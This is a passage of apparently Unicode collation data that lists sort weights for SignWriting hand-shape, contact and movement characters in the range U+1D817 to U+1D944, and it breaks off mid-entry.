[*1855.0020.0002] # SIGNWRITING HAND-FIST INDEX MIDDLE CONJOINED INDEX BENT -1D817 ; [*1856.0020.0002] # SIGNWRITING HAND-FIST INDEX MIDDLE CONJOINED MIDDLE BENT -1D818 ; [*1857.0020.0002] # SIGNWRITING HAND-FIST INDEX MIDDLE CONJOINED CUPPED -1D819 ; [*1858.0020.0002] # SIGNWRITING HAND-FIST INDEX MIDDLE CONJOINED HINGED -1D81A ; [*1859.0020.0002] # SIGNWRITING HAND-FIST INDEX MIDDLE CROSSED -1D81B ; [*185A.0020.0002] # SIGNWRITING HAND-CIRCLE INDEX MIDDLE CROSSED -1D81C ; [*185B.0020.0002] # SIGNWRITING HAND-FIST MIDDLE BENT OVER INDEX -1D81D ; [*185C.0020.0002] # SIGNWRITING HAND-FIST INDEX BENT OVER MIDDLE -1D81E ; [*185D.0020.0002] # SIGNWRITING HAND-FIST INDEX MIDDLE THUMB -1D81F ; [*185E.0020.0002] # SIGNWRITING HAND-CIRCLE INDEX MIDDLE THUMB -1D820 ; [*185F.0020.0002] # SIGNWRITING HAND-FIST INDEX MIDDLE STRAIGHT THUMB BENT -1D821 ; [*1860.0020.0002] # SIGNWRITING HAND-FIST INDEX MIDDLE BENT THUMB STRAIGHT -1D822 ; [*1861.0020.0002] # SIGNWRITING HAND-FIST INDEX MIDDLE THUMB BENT -1D823 ; [*1862.0020.0002] # SIGNWRITING HAND-FIST INDEX MIDDLE HINGED SPREAD THUMB SIDE -1D824 ; [*1863.0020.0002] # SIGNWRITING HAND-FIST INDEX UP MIDDLE HINGED THUMB SIDE -1D825 ; [*1864.0020.0002] # SIGNWRITING HAND-FIST INDEX UP MIDDLE HINGED THUMB CONJOINED -1D826 ; [*1865.0020.0002] # SIGNWRITING HAND-FIST INDEX HINGED MIDDLE UP THUMB SIDE -1D827 ; [*1866.0020.0002] # SIGNWRITING HAND-FIST INDEX MIDDLE UP SPREAD THUMB FORWARD -1D828 ; [*1867.0020.0002] # SIGNWRITING HAND-FIST INDEX MIDDLE THUMB CUPPED -1D829 ; [*1868.0020.0002] # SIGNWRITING HAND-FIST INDEX MIDDLE THUMB CIRCLED -1D82A ; [*1869.0020.0002] # SIGNWRITING HAND-FIST INDEX MIDDLE THUMB HOOKED -1D82B ; [*186A.0020.0002] # SIGNWRITING HAND-FIST INDEX MIDDLE THUMB HINGED -1D82C ; [*186B.0020.0002] # SIGNWRITING HAND-FIST THUMB BETWEEN INDEX MIDDLE STRAIGHT -1D82D ; [*186C.0020.0002] # SIGNWRITING HAND-FIST INDEX MIDDLE CONJOINED THUMB SIDE -1D82E ; [*186D.0020.0002] # SIGNWRITING HAND-FIST INDEX MIDDLE CONJOINED THUMB SIDE CONJOINED -1D82F ; [*186E.0020.0002] # SIGNWRITING HAND-FIST INDEX MIDDLE CONJOINED THUMB SIDE BENT -1D830 ; [*186F.0020.0002] # SIGNWRITING HAND-FIST MIDDLE THUMB HOOKED INDEX UP -1D831 ; [*1870.0020.0002] # SIGNWRITING HAND-FIST INDEX THUMB HOOKED MIDDLE UP -1D832 ; [*1871.0020.0002] # SIGNWRITING HAND-FIST INDEX MIDDLE CONJOINED HINGED THUMB SIDE -1D833 ; [*1872.0020.0002] # SIGNWRITING HAND-FIST INDEX MIDDLE CROSSED THUMB SIDE -1D834 ; [*1873.0020.0002] # SIGNWRITING HAND-FIST INDEX MIDDLE CONJOINED THUMB FORWARD -1D835 ; [*1874.0020.0002] # SIGNWRITING HAND-FIST INDEX MIDDLE CONJOINED CUPPED THUMB FORWARD -1D836 ; [*1875.0020.0002] # SIGNWRITING HAND-FIST MIDDLE THUMB CUPPED INDEX UP -1D837 ; [*1876.0020.0002] # SIGNWRITING HAND-FIST INDEX THUMB CUPPED MIDDLE UP -1D838 ; [*1877.0020.0002] # SIGNWRITING HAND-FIST MIDDLE THUMB CIRCLED INDEX UP -1D839 ; [*1878.0020.0002] # SIGNWRITING HAND-FIST MIDDLE THUMB CIRCLED INDEX HINGED -1D83A ; [*1879.0020.0002] # SIGNWRITING HAND-FIST INDEX THUMB ANGLED OUT MIDDLE UP -1D83B ; [*187A.0020.0002] # SIGNWRITING HAND-FIST INDEX THUMB ANGLED IN MIDDLE UP -1D83C ; [*187B.0020.0002] # SIGNWRITING HAND-FIST INDEX THUMB CIRCLED MIDDLE UP -1D83D ; [*187C.0020.0002] # SIGNWRITING HAND-FIST INDEX MIDDLE THUMB CONJOINED HINGED -1D83E ; [*187D.0020.0002] # SIGNWRITING HAND-FIST INDEX MIDDLE THUMB ANGLED OUT -1D83F ; [*187E.0020.0002] # SIGNWRITING HAND-FIST INDEX MIDDLE THUMB ANGLED -1D840 ; [*187F.0020.0002] # SIGNWRITING HAND-FIST MIDDLE THUMB ANGLED OUT INDEX UP -1D841 ; [*1880.0020.0002] # SIGNWRITING HAND-FIST MIDDLE THUMB ANGLED OUT INDEX CROSSED -1D842 ; [*1881.0020.0002] # SIGNWRITING HAND-FIST MIDDLE THUMB ANGLED INDEX UP -1D843 ; [*1882.0020.0002] # SIGNWRITING HAND-FIST INDEX THUMB HOOKED MIDDLE HINGED -1D844 ; [*1883.0020.0002] # SIGNWRITING HAND-FLAT FOUR FINGERS -1D845 ; [*1884.0020.0002] # SIGNWRITING HAND-FLAT FOUR FINGERS BENT -1D846 ; [*1885.0020.0002] # SIGNWRITING HAND-FLAT FOUR FINGERS HINGED -1D847 ; [*1886.0020.0002] # SIGNWRITING HAND-FLAT FOUR FINGERS CONJOINED -1D848 ; [*1887.0020.0002] # SIGNWRITING HAND-FLAT FOUR FINGERS CONJOINED SPLIT -1D849 ; [*1888.0020.0002] # SIGNWRITING HAND-CLAW FOUR FINGERS CONJOINED -1D84A ; [*1889.0020.0002] # SIGNWRITING HAND-FIST FOUR FINGERS CONJOINED BENT -1D84B ; [*188A.0020.0002] # SIGNWRITING HAND-HINGE FOUR FINGERS CONJOINED -1D84C ; [*188B.0020.0002] # SIGNWRITING HAND-FLAT FIVE FINGERS SPREAD -1D84D ; [*188C.0020.0002] # SIGNWRITING HAND-FLAT HEEL FIVE FINGERS SPREAD -1D84E ; [*188D.0020.0002] # SIGNWRITING HAND-FLAT FIVE FINGERS SPREAD FOUR BENT -1D84F ; [*188E.0020.0002] # SIGNWRITING HAND-FLAT HEEL FIVE FINGERS SPREAD FOUR BENT -1D850 ; [*188F.0020.0002] # SIGNWRITING HAND-FLAT FIVE FINGERS SPREAD BENT -1D851 ; [*1890.0020.0002] # SIGNWRITING HAND-FLAT HEEL FIVE FINGERS SPREAD BENT -1D852 ; [*1891.0020.0002] # SIGNWRITING HAND-FLAT FIVE FINGERS SPREAD THUMB FORWARD -1D853 ; [*1892.0020.0002] # SIGNWRITING HAND-CUP FIVE FINGERS SPREAD -1D854 ; [*1893.0020.0002] # SIGNWRITING HAND-CUP FIVE FINGERS SPREAD OPEN -1D855 ; [*1894.0020.0002] # SIGNWRITING HAND-HINGE FIVE FINGERS SPREAD OPEN -1D856 ; [*1895.0020.0002] # SIGNWRITING HAND-OVAL FIVE FINGERS SPREAD -1D857 ; [*1896.0020.0002] # SIGNWRITING HAND-FLAT FIVE FINGERS SPREAD HINGED -1D858 ; [*1897.0020.0002] # SIGNWRITING HAND-FLAT FIVE FINGERS SPREAD HINGED THUMB SIDE -1D859 ; [*1898.0020.0002] # SIGNWRITING HAND-FLAT FIVE FINGERS SPREAD HINGED NO THUMB -1D85A ; [*1899.0020.0002] # SIGNWRITING HAND-FLAT -1D85B ; [*189A.0020.0002] # SIGNWRITING HAND-FLAT BETWEEN PALM FACINGS -1D85C ; [*189B.0020.0002] # SIGNWRITING HAND-FLAT HEEL -1D85D ; [*189C.0020.0002] # SIGNWRITING HAND-FLAT THUMB SIDE -1D85E ; [*189D.0020.0002] # SIGNWRITING HAND-FLAT HEEL THUMB SIDE -1D85F ; [*189E.0020.0002] # SIGNWRITING HAND-FLAT THUMB BENT -1D860 ; [*189F.0020.0002] # SIGNWRITING HAND-FLAT THUMB FORWARD -1D861 ; [*18A0.0020.0002] # SIGNWRITING HAND-FLAT SPLIT INDEX THUMB SIDE -1D862 ; [*18A1.0020.0002] # SIGNWRITING HAND-FLAT SPLIT CENTRE -1D863 ; [*18A2.0020.0002] # SIGNWRITING HAND-FLAT SPLIT CENTRE THUMB SIDE -1D864 ; [*18A3.0020.0002] # SIGNWRITING HAND-FLAT SPLIT CENTRE THUMB SIDE BENT -1D865 ; [*18A4.0020.0002] # SIGNWRITING HAND-FLAT SPLIT LITTLE -1D866 ; [*18A5.0020.0002] # SIGNWRITING HAND-CLAW -1D867 ; [*18A6.0020.0002] # SIGNWRITING HAND-CLAW THUMB SIDE -1D868 ; [*18A7.0020.0002] # SIGNWRITING HAND-CLAW NO THUMB -1D869 ; [*18A8.0020.0002] # SIGNWRITING HAND-CLAW THUMB FORWARD -1D86A ; [*18A9.0020.0002] # SIGNWRITING HAND-HOOK CURLICUE -1D86B ; [*18AA.0020.0002] # SIGNWRITING HAND-HOOK -1D86C ; [*18AB.0020.0002] # SIGNWRITING HAND-CUP OPEN -1D86D ; [*18AC.0020.0002] # SIGNWRITING HAND-CUP -1D86E ; [*18AD.0020.0002] # SIGNWRITING HAND-CUP OPEN THUMB SIDE -1D86F ; [*18AE.0020.0002] # SIGNWRITING HAND-CUP THUMB SIDE -1D870 ; [*18AF.0020.0002] # SIGNWRITING HAND-CUP OPEN NO THUMB -1D871 ; [*18B0.0020.0002] # SIGNWRITING HAND-CUP NO THUMB -1D872 ; [*18B1.0020.0002] # SIGNWRITING HAND-CUP OPEN THUMB FORWARD -1D873 ; [*18B2.0020.0002] # SIGNWRITING HAND-CUP THUMB FORWARD -1D874 ; [*18B3.0020.0002] # SIGNWRITING HAND-CURLICUE OPEN -1D875 ; [*18B4.0020.0002] # SIGNWRITING HAND-CURLICUE -1D876 ; [*18B5.0020.0002] # SIGNWRITING HAND-CIRCLE -1D877 ; [*18B6.0020.0002] # SIGNWRITING HAND-OVAL -1D878 ; [*18B7.0020.0002] # SIGNWRITING HAND-OVAL THUMB SIDE -1D879 ; [*18B8.0020.0002] # SIGNWRITING HAND-OVAL NO THUMB -1D87A ; [*18B9.0020.0002] # SIGNWRITING HAND-OVAL THUMB FORWARD -1D87B ; [*18BA.0020.0002] # SIGNWRITING HAND-HINGE OPEN -1D87C ; [*18BB.0020.0002] # SIGNWRITING HAND-HINGE OPEN THUMB FORWARD -1D87D ; [*18BC.0020.0002] # SIGNWRITING HAND-HINGE -1D87E ; [*18BD.0020.0002] # SIGNWRITING HAND-HINGE SMALL -1D87F ; [*18BE.0020.0002] # SIGNWRITING HAND-HINGE OPEN THUMB SIDE -1D880 ; [*18BF.0020.0002] # SIGNWRITING HAND-HINGE THUMB SIDE -1D881 ; [*18C0.0020.0002] # SIGNWRITING HAND-HINGE OPEN NO THUMB -1D882 ; [*18C1.0020.0002] # SIGNWRITING HAND-HINGE NO THUMB -1D883 ; [*18C2.0020.0002] # SIGNWRITING HAND-HINGE THUMB SIDE TOUCHING INDEX -1D884 ; [*18C3.0020.0002] # SIGNWRITING HAND-HINGE THUMB BETWEEN MIDDLE RING -1D885 ; [*18C4.0020.0002] # SIGNWRITING HAND-ANGLE -1D886 ; [*18C5.0020.0002] # SIGNWRITING HAND-FIST INDEX MIDDLE RING -1D887 ; [*18C6.0020.0002] # SIGNWRITING HAND-CIRCLE INDEX MIDDLE RING -1D888 ; [*18C7.0020.0002] # SIGNWRITING HAND-HINGE INDEX MIDDLE RING -1D889 ; [*18C8.0020.0002] # SIGNWRITING HAND-ANGLE INDEX MIDDLE RING -1D88A ; [*18C9.0020.0002] # SIGNWRITING HAND-HINGE LITTLE -1D88B ; [*18CA.0020.0002] # SIGNWRITING HAND-FIST INDEX MIDDLE RING BENT -1D88C ; [*18CB.0020.0002] # SIGNWRITING HAND-FIST INDEX MIDDLE RING CONJOINED -1D88D ; [*18CC.0020.0002] # SIGNWRITING HAND-HINGE INDEX MIDDLE RING CONJOINED -1D88E ; [*18CD.0020.0002] # SIGNWRITING HAND-FIST LITTLE DOWN -1D88F ; [*18CE.0020.0002] # SIGNWRITING HAND-FIST LITTLE DOWN RIPPLE STRAIGHT -1D890 ; [*18CF.0020.0002] # SIGNWRITING HAND-FIST LITTLE DOWN RIPPLE CURVED -1D891 ; [*18D0.0020.0002] # SIGNWRITING HAND-FIST LITTLE DOWN OTHERS CIRCLED -1D892 ; [*18D1.0020.0002] # SIGNWRITING HAND-FIST LITTLE UP -1D893 ; [*18D2.0020.0002] # SIGNWRITING HAND-FIST THUMB UNDER LITTLE UP -1D894 ; [*18D3.0020.0002] # SIGNWRITING HAND-CIRCLE LITTLE UP -1D895 ; [*18D4.0020.0002] # SIGNWRITING HAND-OVAL LITTLE UP -1D896 ; [*18D5.0020.0002] # SIGNWRITING HAND-ANGLE LITTLE UP -1D897 ; [*18D6.0020.0002] # SIGNWRITING HAND-FIST LITTLE RAISED KNUCKLE -1D898 ; [*18D7.0020.0002] # SIGNWRITING HAND-FIST LITTLE BENT -1D899 ; [*18D8.0020.0002] # SIGNWRITING HAND-FIST LITTLE TOUCHES THUMB -1D89A ; [*18D9.0020.0002] # SIGNWRITING HAND-FIST LITTLE THUMB -1D89B ; [*18DA.0020.0002] # SIGNWRITING HAND-HINGE LITTLE THUMB -1D89C ; [*18DB.0020.0002] # SIGNWRITING HAND-FIST LITTLE INDEX THUMB -1D89D ; [*18DC.0020.0002] # SIGNWRITING HAND-HINGE LITTLE INDEX THUMB -1D89E ; [*18DD.0020.0002] # SIGNWRITING HAND-ANGLE LITTLE INDEX THUMB INDEX THUMB OUT -1D89F ; [*18DE.0020.0002] # SIGNWRITING HAND-ANGLE LITTLE INDEX THUMB INDEX THUMB -1D8A0 ; [*18DF.0020.0002] # SIGNWRITING HAND-FIST LITTLE INDEX -1D8A1 ; [*18E0.0020.0002] # SIGNWRITING HAND-CIRCLE LITTLE INDEX -1D8A2 ; [*18E1.0020.0002] # SIGNWRITING HAND-HINGE LITTLE INDEX -1D8A3 ; [*18E2.0020.0002] # SIGNWRITING HAND-ANGLE LITTLE INDEX -1D8A4 ; [*18E3.0020.0002] # SIGNWRITING HAND-FIST INDEX MIDDLE LITTLE -1D8A5 ; [*18E4.0020.0002] # SIGNWRITING HAND-CIRCLE INDEX MIDDLE LITTLE -1D8A6 ; [*18E5.0020.0002] # SIGNWRITING HAND-HINGE INDEX MIDDLE LITTLE -1D8A7 ; [*18E6.0020.0002] # SIGNWRITING HAND-HINGE RING -1D8A8 ; [*18E7.0020.0002] # SIGNWRITING HAND-ANGLE INDEX MIDDLE LITTLE -1D8A9 ; [*18E8.0020.0002] # SIGNWRITING HAND-FIST INDEX MIDDLE CROSS LITTLE -1D8AA ; [*18E9.0020.0002] # SIGNWRITING HAND-CIRCLE INDEX MIDDLE CROSS LITTLE -1D8AB ; [*18EA.0020.0002] # SIGNWRITING HAND-FIST RING DOWN -1D8AC ; [*18EB.0020.0002] # SIGNWRITING HAND-HINGE RING DOWN INDEX THUMB HOOK MIDDLE -1D8AD ; [*18EC.0020.0002] # SIGNWRITING HAND-ANGLE RING DOWN MIDDLE THUMB INDEX CROSS -1D8AE ; [*18ED.0020.0002] # SIGNWRITING HAND-FIST RING UP -1D8AF ; [*18EE.0020.0002] # SIGNWRITING HAND-FIST RING RAISED KNUCKLE -1D8B0 ; [*18EF.0020.0002] # SIGNWRITING HAND-FIST RING LITTLE -1D8B1 ; [*18F0.0020.0002] # SIGNWRITING HAND-CIRCLE RING LITTLE -1D8B2 ; [*18F1.0020.0002] # SIGNWRITING HAND-OVAL RING LITTLE -1D8B3 ; [*18F2.0020.0002] # SIGNWRITING HAND-ANGLE RING LITTLE -1D8B4 ; [*18F3.0020.0002] # SIGNWRITING HAND-FIST RING MIDDLE -1D8B5 ; [*18F4.0020.0002] # SIGNWRITING HAND-FIST RING MIDDLE CONJOINED -1D8B6 ; [*18F5.0020.0002] # SIGNWRITING HAND-FIST RING MIDDLE RAISED KNUCKLES -1D8B7 ; [*18F6.0020.0002] # SIGNWRITING HAND-FIST RING INDEX -1D8B8 ; [*18F7.0020.0002] # SIGNWRITING HAND-FIST RING THUMB -1D8B9 ; [*18F8.0020.0002] # SIGNWRITING HAND-HOOK RING THUMB -1D8BA ; [*18F9.0020.0002] # SIGNWRITING HAND-FIST INDEX RING LITTLE -1D8BB ; [*18FA.0020.0002] # SIGNWRITING HAND-CIRCLE INDEX RING LITTLE -1D8BC ; [*18FB.0020.0002] # SIGNWRITING HAND-CURLICUE INDEX RING LITTLE ON -1D8BD ; [*18FC.0020.0002] # SIGNWRITING HAND-HOOK INDEX RING LITTLE OUT -1D8BE ; [*18FD.0020.0002] # SIGNWRITING HAND-HOOK INDEX RING LITTLE IN -1D8BF ; [*18FE.0020.0002] # SIGNWRITING HAND-HOOK INDEX RING LITTLE UNDER -1D8C0 ; [*18FF.0020.0002] # SIGNWRITING HAND-CUP INDEX RING LITTLE -1D8C1 ; [*1900.0020.0002] # SIGNWRITING HAND-HINGE INDEX RING LITTLE -1D8C2 ; [*1901.0020.0002] # SIGNWRITING HAND-ANGLE INDEX RING LITTLE OUT -1D8C3 ; [*1902.0020.0002] # SIGNWRITING HAND-ANGLE INDEX RING LITTLE -1D8C4 ; [*1903.0020.0002] # SIGNWRITING HAND-FIST MIDDLE DOWN -1D8C5 ; [*1904.0020.0002] # SIGNWRITING HAND-HINGE MIDDLE -1D8C6 ; [*1905.0020.0002] # SIGNWRITING HAND-FIST MIDDLE UP -1D8C7 ; [*1906.0020.0002] # SIGNWRITING HAND-CIRCLE MIDDLE UP -1D8C8 ; [*1907.0020.0002] # SIGNWRITING HAND-FIST MIDDLE RAISED KNUCKLE -1D8C9 ; [*1908.0020.0002] # SIGNWRITING HAND-FIST MIDDLE UP THUMB SIDE -1D8CA ; [*1909.0020.0002] # SIGNWRITING HAND-HOOK MIDDLE THUMB -1D8CB ; [*190A.0020.0002] # SIGNWRITING HAND-FIST MIDDLE THUMB LITTLE -1D8CC ; [*190B.0020.0002] # SIGNWRITING HAND-FIST MIDDLE LITTLE -1D8CD ; [*190C.0020.0002] # SIGNWRITING HAND-FIST MIDDLE RING LITTLE -1D8CE ; [*190D.0020.0002] # SIGNWRITING HAND-CIRCLE MIDDLE RING LITTLE -1D8CF ; [*190E.0020.0002] # SIGNWRITING HAND-CURLICUE MIDDLE RING LITTLE ON -1D8D0 ; [*190F.0020.0002] # SIGNWRITING HAND-CUP MIDDLE RING LITTLE -1D8D1 ; [*1910.0020.0002] # SIGNWRITING HAND-HINGE MIDDLE RING LITTLE -1D8D2 ; [*1911.0020.0002] # SIGNWRITING HAND-ANGLE MIDDLE RING LITTLE OUT -1D8D3 ; [*1912.0020.0002] # SIGNWRITING HAND-ANGLE MIDDLE RING LITTLE IN -1D8D4 ; [*1913.0020.0002] # SIGNWRITING HAND-ANGLE MIDDLE RING LITTLE -1D8D5 ; [*1914.0020.0002] # SIGNWRITING HAND-CIRCLE MIDDLE RING LITTLE BENT -1D8D6 ; [*1915.0020.0002] # SIGNWRITING HAND-CLAW MIDDLE RING LITTLE CONJOINED -1D8D7 ; [*1916.0020.0002] # SIGNWRITING HAND-CLAW MIDDLE RING LITTLE CONJOINED SIDE -1D8D8 ; [*1917.0020.0002] # SIGNWRITING HAND-HOOK MIDDLE RING LITTLE CONJOINED OUT -1D8D9 ; [*1918.0020.0002] # SIGNWRITING HAND-HOOK MIDDLE RING LITTLE CONJOINED IN -1D8DA ; [*1919.0020.0002] # SIGNWRITING HAND-HOOK MIDDLE RING LITTLE CONJOINED -1D8DB ; [*191A.0020.0002] # SIGNWRITING HAND-HINGE INDEX HINGED -1D8DC ; [*191B.0020.0002] # SIGNWRITING HAND-FIST INDEX THUMB SIDE -1D8DD ; [*191C.0020.0002] # SIGNWRITING HAND-HINGE INDEX THUMB SIDE -1D8DE ; [*191D.0020.0002] # SIGNWRITING HAND-FIST INDEX THUMB SIDE THUMB DIAGONAL -1D8DF ; [*191E.0020.0002] # SIGNWRITING HAND-FIST INDEX THUMB SIDE THUMB CONJOINED -1D8E0 ; [*191F.0020.0002] # SIGNWRITING HAND-FIST INDEX THUMB SIDE THUMB BENT -1D8E1 ; [*1920.0020.0002] # SIGNWRITING HAND-FIST INDEX THUMB SIDE INDEX BENT -1D8E2 ; [*1921.0020.0002] # SIGNWRITING HAND-FIST INDEX THUMB SIDE BOTH BENT -1D8E3 ; [*1922.0020.0002] # SIGNWRITING HAND-FIST INDEX THUMB SIDE INDEX HINGE -1D8E4 ; [*1923.0020.0002] # SIGNWRITING HAND-FIST INDEX THUMB FORWARD INDEX STRAIGHT -1D8E5 ; [*1924.0020.0002] # SIGNWRITING HAND-FIST INDEX THUMB FORWARD INDEX BENT -1D8E6 ; [*1925.0020.0002] # SIGNWRITING HAND-FIST INDEX THUMB HOOK -1D8E7 ; [*1926.0020.0002] # SIGNWRITING HAND-FIST INDEX THUMB CURLICUE -1D8E8 ; [*1927.0020.0002] # SIGNWRITING HAND-FIST INDEX THUMB CURVE THUMB INSIDE -1D8E9 ; [*1928.0020.0002] # SIGNWRITING HAND-CLAW INDEX THUMB CURVE THUMB INSIDE -1D8EA ; [*1929.0020.0002] # SIGNWRITING HAND-FIST INDEX THUMB CURVE THUMB UNDER -1D8EB ; [*192A.0020.0002] # SIGNWRITING HAND-FIST INDEX THUMB CIRCLE -1D8EC ; [*192B.0020.0002] # SIGNWRITING HAND-CUP INDEX THUMB -1D8ED ; [*192C.0020.0002] # SIGNWRITING HAND-CUP INDEX THUMB OPEN -1D8EE ; [*192D.0020.0002] # SIGNWRITING HAND-HINGE INDEX THUMB OPEN -1D8EF ; [*192E.0020.0002] # SIGNWRITING HAND-HINGE INDEX THUMB LARGE -1D8F0 ; [*192F.0020.0002] # SIGNWRITING HAND-HINGE INDEX THUMB -1D8F1 ; [*1930.0020.0002] # SIGNWRITING HAND-HINGE INDEX THUMB SMALL -1D8F2 ; [*1931.0020.0002] # SIGNWRITING HAND-ANGLE INDEX THUMB OUT -1D8F3 ; [*1932.0020.0002] # SIGNWRITING HAND-ANGLE INDEX THUMB IN -1D8F4 ; [*1933.0020.0002] # SIGNWRITING HAND-ANGLE INDEX THUMB -1D8F5 ; [*1934.0020.0002] # SIGNWRITING HAND-FIST THUMB -1D8F6 ; [*1935.0020.0002] # SIGNWRITING HAND-FIST THUMB HEEL -1D8F7 ; [*1936.0020.0002] # SIGNWRITING HAND-FIST THUMB SIDE DIAGONAL -1D8F8 ; [*1937.0020.0002] # SIGNWRITING HAND-FIST THUMB SIDE CONJOINED -1D8F9 ; [*1938.0020.0002] # SIGNWRITING HAND-FIST THUMB SIDE BENT -1D8FA ; [*1939.0020.0002] # SIGNWRITING HAND-FIST THUMB FORWARD -1D8FB ; [*193A.0020.0002] # SIGNWRITING HAND-FIST THUMB BETWEEN INDEX MIDDLE -1D8FC ; [*193B.0020.0002] # SIGNWRITING HAND-FIST THUMB BETWEEN MIDDLE RING -1D8FD ; [*193C.0020.0002] # SIGNWRITING HAND-FIST THUMB BETWEEN RING LITTLE -1D8FE ; [*193D.0020.0002] # SIGNWRITING HAND-FIST THUMB UNDER TWO FINGERS -1D8FF ; [*193E.0020.0002] # SIGNWRITING HAND-FIST THUMB OVER TWO FINGERS -1D900 ; [*193F.0020.0002] # SIGNWRITING HAND-FIST THUMB UNDER THREE FINGERS -1D901 ; [*1940.0020.0002] # SIGNWRITING HAND-FIST THUMB UNDER FOUR FINGERS -1D902 ; [*1941.0020.0002] # SIGNWRITING HAND-FIST THUMB OVER FOUR RAISED KNUCKLES -1D903 ; [*1942.0020.0002] # SIGNWRITING HAND-FIST -1D904 ; [*1943.0020.0002] # SIGNWRITING HAND-FIST HEEL -1D905 ; [*1944.0020.0002] # SIGNWRITING TOUCH SINGLE -1D906 ; [*1945.0020.0002] # SIGNWRITING TOUCH MULTIPLE -1D907 ; [*1946.0020.0002] # SIGNWRITING TOUCH BETWEEN -1D908 ; [*1947.0020.0002] # SIGNWRITING GRASP SINGLE -1D909 ; [*1948.0020.0002] # SIGNWRITING GRASP MULTIPLE -1D90A ; [*1949.0020.0002] # SIGNWRITING GRASP BETWEEN -1D90B ; [*194A.0020.0002] # SIGNWRITING STRIKE SINGLE -1D90C ; [*194B.0020.0002] # SIGNWRITING STRIKE MULTIPLE -1D90D ; [*194C.0020.0002] # SIGNWRITING STRIKE BETWEEN -1D90E ; [*194D.0020.0002] # SIGNWRITING BRUSH SINGLE -1D90F ; [*194E.0020.0002] # SIGNWRITING BRUSH MULTIPLE -1D910 ; [*194F.0020.0002] # SIGNWRITING BRUSH BETWEEN -1D911 ; [*1950.0020.0002] # SIGNWRITING RUB SINGLE -1D912 ; [*1951.0020.0002] # SIGNWRITING RUB MULTIPLE -1D913 ; [*1952.0020.0002] # SIGNWRITING RUB BETWEEN -1D914 ; [*1953.0020.0002] # SIGNWRITING SURFACE SYMBOLS -1D915 ; [*1954.0020.0002] # SIGNWRITING SURFACE BETWEEN -1D916 ; [*1955.0020.0002] # SIGNWRITING SQUEEZE LARGE SINGLE -1D917 ; [*1956.0020.0002] # SIGNWRITING SQUEEZE SMALL SINGLE -1D918 ; [*1957.0020.0002] # SIGNWRITING SQUEEZE LARGE MULTIPLE -1D919 ; [*1958.0020.0002] # SIGNWRITING SQUEEZE SMALL MULTIPLE -1D91A ; [*1959.0020.0002] # SIGNWRITING SQUEEZE SEQUENTIAL -1D91B ; [*195A.0020.0002] # SIGNWRITING FLICK LARGE SINGLE -1D91C ; [*195B.0020.0002] # SIGNWRITING FLICK SMALL SINGLE -1D91D ; [*195C.0020.0002] # SIGNWRITING FLICK LARGE MULTIPLE -1D91E ; [*195D.0020.0002] # SIGNWRITING FLICK SMALL MULTIPLE -1D91F ; [*195E.0020.0002] # SIGNWRITING FLICK SEQUENTIAL -1D920 ; [*195F.0020.0002] # SIGNWRITING SQUEEZE FLICK ALTERNATING -1D921 ; [*1960.0020.0002] # SIGNWRITING MOVEMENT-HINGE UP DOWN LARGE -1D922 ; [*1961.0020.0002] # SIGNWRITING MOVEMENT-HINGE UP DOWN SMALL -1D923 ; [*1962.0020.0002] # SIGNWRITING MOVEMENT-HINGE UP SEQUENTIAL -1D924 ; [*1963.0020.0002] # SIGNWRITING MOVEMENT-HINGE DOWN SEQUENTIAL -1D925 ; [*1964.0020.0002] # SIGNWRITING MOVEMENT-HINGE UP DOWN ALTERNATING LARGE -1D926 ; [*1965.0020.0002] # SIGNWRITING MOVEMENT-HINGE UP DOWN ALTERNATING SMALL -1D927 ; [*1966.0020.0002] # SIGNWRITING MOVEMENT-HINGE SIDE TO SIDE SCISSORS -1D928 ; [*1967.0020.0002] # SIGNWRITING MOVEMENT-WALLPLANE FINGER CONTACT -1D929 ; [*1968.0020.0002] # SIGNWRITING MOVEMENT-FLOORPLANE FINGER CONTACT -1D92A ; [*1969.0020.0002] # SIGNWRITING MOVEMENT-WALLPLANE SINGLE STRAIGHT SMALL -1D92B ; [*196A.0020.0002] # SIGNWRITING MOVEMENT-WALLPLANE SINGLE STRAIGHT MEDIUM -1D92C ; [*196B.0020.0002] # SIGNWRITING MOVEMENT-WALLPLANE SINGLE STRAIGHT LARGE -1D92D ; [*196C.0020.0002] # SIGNWRITING MOVEMENT-WALLPLANE SINGLE STRAIGHT LARGEST -1D92E ; [*196D.0020.0002] # SIGNWRITING MOVEMENT-WALLPLANE SINGLE WRIST FLEX -1D92F ; [*196E.0020.0002] # SIGNWRITING MOVEMENT-WALLPLANE DOUBLE STRAIGHT -1D930 ; [*196F.0020.0002] # SIGNWRITING MOVEMENT-WALLPLANE DOUBLE WRIST FLEX -1D931 ; [*1970.0020.0002] # SIGNWRITING MOVEMENT-WALLPLANE DOUBLE ALTERNATING -1D932 ; [*1971.0020.0002] # SIGNWRITING MOVEMENT-WALLPLANE DOUBLE ALTERNATING WRIST FLEX -1D933 ; [*1972.0020.0002] # SIGNWRITING MOVEMENT-WALLPLANE CROSS -1D934 ; [*1973.0020.0002] # SIGNWRITING MOVEMENT-WALLPLANE TRIPLE STRAIGHT MOVEMENT -1D935 ; [*1974.0020.0002] # SIGNWRITING MOVEMENT-WALLPLANE TRIPLE WRIST FLEX -1D936 ; [*1975.0020.0002] # SIGNWRITING MOVEMENT-WALLPLANE TRIPLE ALTERNATING -1D937 ; [*1976.0020.0002] # SIGNWRITING MOVEMENT-WALLPLANE TRIPLE ALTERNATING WRIST FLEX -1D938 ; [*1977.0020.0002] # SIGNWRITING MOVEMENT-WALLPLANE BEND SMALL -1D939 ; [*1978.0020.0002] # SIGNWRITING MOVEMENT-WALLPLANE BEND MEDIUM -1D93A ; [*1979.0020.0002] # SIGNWRITING MOVEMENT-WALLPLANE BEND LARGE -1D93B ; [*197A.0020.0002] # SIGNWRITING MOVEMENT-WALLPLANE CORNER SMALL -1D93C ; [*197B.0020.0002] # SIGNWRITING MOVEMENT-WALLPLANE CORNER MEDIUM -1D93D ; [*197C.0020.0002] # SIGNWRITING MOVEMENT-WALLPLANE CORNER LARGE -1D93E ; [*197D.0020.0002] # SIGNWRITING MOVEMENT-WALLPLANE CORNER ROTATION -1D93F ; [*197E.0020.0002] # SIGNWRITING MOVEMENT-WALLPLANE CHECK SMALL -1D940 ; [*197F.0020.0002] # SIGNWRITING MOVEMENT-WALLPLANE CHECK MEDIUM -1D941 ; [*1980.0020.0002] # SIGNWRITING MOVEMENT-WALLPLANE CHECK LARGE -1D942 ; [*1981.0020.0002] # SIGNWRITING MOVEMENT-WALLPLANE BOX SMALL -1D943 ; [*1982.0020.0002] # SIGNWRITING MOVEMENT-WALLPLANE BOX MEDIUM -1D944 ; [*1983.0020.0002] # SIGNWRITING 